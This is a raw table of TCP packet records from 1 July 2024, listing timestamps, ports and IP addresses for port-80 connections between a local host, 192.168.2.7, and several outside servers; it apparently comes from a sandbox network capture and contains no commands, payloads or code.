Jul 1, 2024 19:26:07.059505939 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059508085 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059540987 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059573889 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059607983 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059611082 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059663057 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059695005 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059715986 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059730053 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059735060 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059767962 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059807062 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059840918 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059847116 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059875965 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059966087 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059998989 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060031891 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060039997 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.060065031 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060098886 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060128927 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.060152054 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060185909 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060234070 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060236931 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.060271025 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060322046 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060355902 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060389042 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060425997 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060431004 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.060478926 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060492992 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.060539961 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060574055 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060607910 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060615063 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.060646057 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.060743093 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.061846972 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.061876059 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062020063 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062052011 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062087059 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062103033 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062115908 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062146902 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062200069 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062232971 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062267065 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062271118 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062299967 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062314987 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062335968 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062365055 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062365055 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062388897 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062422991 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062455893 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062490940 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062491894 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062546968 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062581062 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062581062 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062581062 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062614918 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062649012 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062655926 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062704086 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062738895 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062772036 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062786102 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062804937 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062839031 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062881947 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.062891006 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062920094 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062952995 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.062988043 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.063018084 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.063018084 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.063021898 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.063055992 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.063090086 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.063102961 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.063124895 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.063160896 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.063205004 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.064510107 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157006025 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157164097 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157175064 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157186031 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157197952 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157207966 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157219887 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157254934 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157309055 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157320976 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157332897 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157366037 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157449961 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157461882 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157495022 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157495975 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157514095 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157557011 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157588959 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157599926 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157610893 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157622099 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157633066 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157644987 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157655954 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157665014 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157665014 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157668114 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157677889 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157681942 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157723904 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157924891 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157936096 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157947063 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157958984 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.157963991 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.157982111 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158029079 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158101082 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158113003 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158123970 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158134937 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158145905 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158149958 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158158064 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158169985 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158181906 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158191919 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158207893 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158207893 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158232927 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158236980 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158250093 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158266068 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158427954 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158440113 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158449888 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158462048 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158466101 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158473015 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158484936 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158487082 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158487082 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158499002 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158512115 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158567905 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158571005 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158579111 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158633947 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158749104 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158760071 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158771992 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158776999 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158786058 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158804893 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158816099 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158827066 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158838034 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158839941 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158839941 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158850908 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158901930 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158936977 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158947945 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158957958 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.158963919 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158963919 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.158972025 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159035921 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159061909 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159156084 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159173012 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159184933 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159198046 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159208059 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159272909 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159272909 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159301996 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159313917 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159324884 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159337997 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159378052 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159416914 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159416914 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159506083 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159518003 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159531116 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159540892 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159553051 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159564018 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159574032 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159581900 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159585953 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159638882 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159638882 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159674883 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159687996 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159698009 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159709930 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159719944 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159732103 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.159780979 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.159818888 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.160142899 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160291910 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160303116 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160315037 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160325050 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160336018 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160348892 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160372019 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.160444975 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.160444975 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.160454988 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160465956 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160478115 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160494089 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160505056 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160551071 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.160607100 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.160717964 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.161302090 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:11.603894949 CEST	64481	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:11.609134912 CEST	80	64481	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:11.609210014 CEST	64481	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:11.611465931 CEST	64481	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:11.617438078 CEST	80	64481	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:12.000643015 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:12.000727892 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:12.484647036 CEST	80	64481	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:12.484669924 CEST	80	64481	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:12.484730959 CEST	64481	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:12.485467911 CEST	80	64481	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:12.485524893 CEST	64481	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:13.126905918 CEST	64481	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:14.141659975 CEST	64482	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:14.146666050 CEST	80	64482	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:14.146759033 CEST	64482	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:14.148614883 CEST	64482	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:14.153630018 CEST	80	64482	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:15.038206100 CEST	80	64482	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:15.038253069 CEST	80	64482	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:15.038558960 CEST	80	64482	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:15.038670063 CEST	64482	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:15.654498100 CEST	64482	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:16.677923918 CEST	64483	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:16.683092117 CEST	80	64483	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:16.687134981 CEST	64483	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:16.690655947 CEST	64483	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:16.695537090 CEST	80	64483	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:16.696787119 CEST	80	64483	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:17.580858946 CEST	80	64483	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:17.580935955 CEST	80	64483	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:17.580990076 CEST	64483	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:17.581695080 CEST	80	64483	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:17.581748962 CEST	64483	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:18.201446056 CEST	64483	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:19.222517014 CEST	64484	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:19.227580070 CEST	80	64484	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:19.227669001 CEST	64484	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:19.230746031 CEST	64484	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:19.236967087 CEST	80	64484	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:20.122318983 CEST	80	64484	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:20.122387886 CEST	80	64484	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:20.122426033 CEST	80	64484	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:20.122515917 CEST	64484	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:20.122515917 CEST	64484	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:20.125293970 CEST	64484	80	192.168.2.7	43.198.80.127
Jul 1, 2024 19:26:20.130311012 CEST	80	64484	43.198.80.127	192.168.2.7
Jul 1, 2024 19:26:25.494776964 CEST	64485	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:25.500606060 CEST	80	64485	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:25.500791073 CEST	64485	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:25.502549887 CEST	64485	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:25.507577896 CEST	80	64485	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:26.293921947 CEST	80	64485	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:26.294049978 CEST	80	64485	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:26.294126987 CEST	64485	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:27.014413118 CEST	64485	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:28.032898903 CEST	64486	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:28.039026022 CEST	80	64486	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:28.039128065 CEST	64486	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:28.041009903 CEST	64486	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:28.045907974 CEST	80	64486	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:28.835242987 CEST	80	64486	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:28.835377932 CEST	80	64486	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:28.835484028 CEST	64486	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:29.545177937 CEST	64486	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:30.564522982 CEST	64487	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:30.569879055 CEST	80	64487	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:30.574495077 CEST	64487	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:30.574495077 CEST	64487	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:30.579497099 CEST	80	64487	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:30.580013990 CEST	80	64487	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:31.389900923 CEST	80	64487	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:31.390142918 CEST	80	64487	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:31.390259027 CEST	64487	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:32.077310085 CEST	64487	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:33.094847918 CEST	64488	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:33.238241911 CEST	80	64488	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:33.238416910 CEST	64488	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:33.240206957 CEST	64488	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:33.245395899 CEST	80	64488	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:34.063911915 CEST	80	64488	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:34.064093113 CEST	80	64488	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:34.064141989 CEST	64488	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:34.066615105 CEST	64488	80	192.168.2.7	45.130.41.249
Jul 1, 2024 19:26:34.071408033 CEST	80	64488	45.130.41.249	192.168.2.7
Jul 1, 2024 19:26:39.188528061 CEST	64489	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:39.193618059 CEST	80	64489	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:39.193754911 CEST	64489	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:39.195626974 CEST	64489	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:39.201169014 CEST	80	64489	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:39.897694111 CEST	80	64489	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:39.897720098 CEST	80	64489	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:39.897751093 CEST	80	64489	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:39.897780895 CEST	64489	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:39.897818089 CEST	64489	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:40.704631090 CEST	64489	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:41.746326923 CEST	64490	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:41.752542973 CEST	80	64490	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:41.752614975 CEST	64490	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:41.755805016 CEST	64490	80	192.168.2.7	91.195.240.123
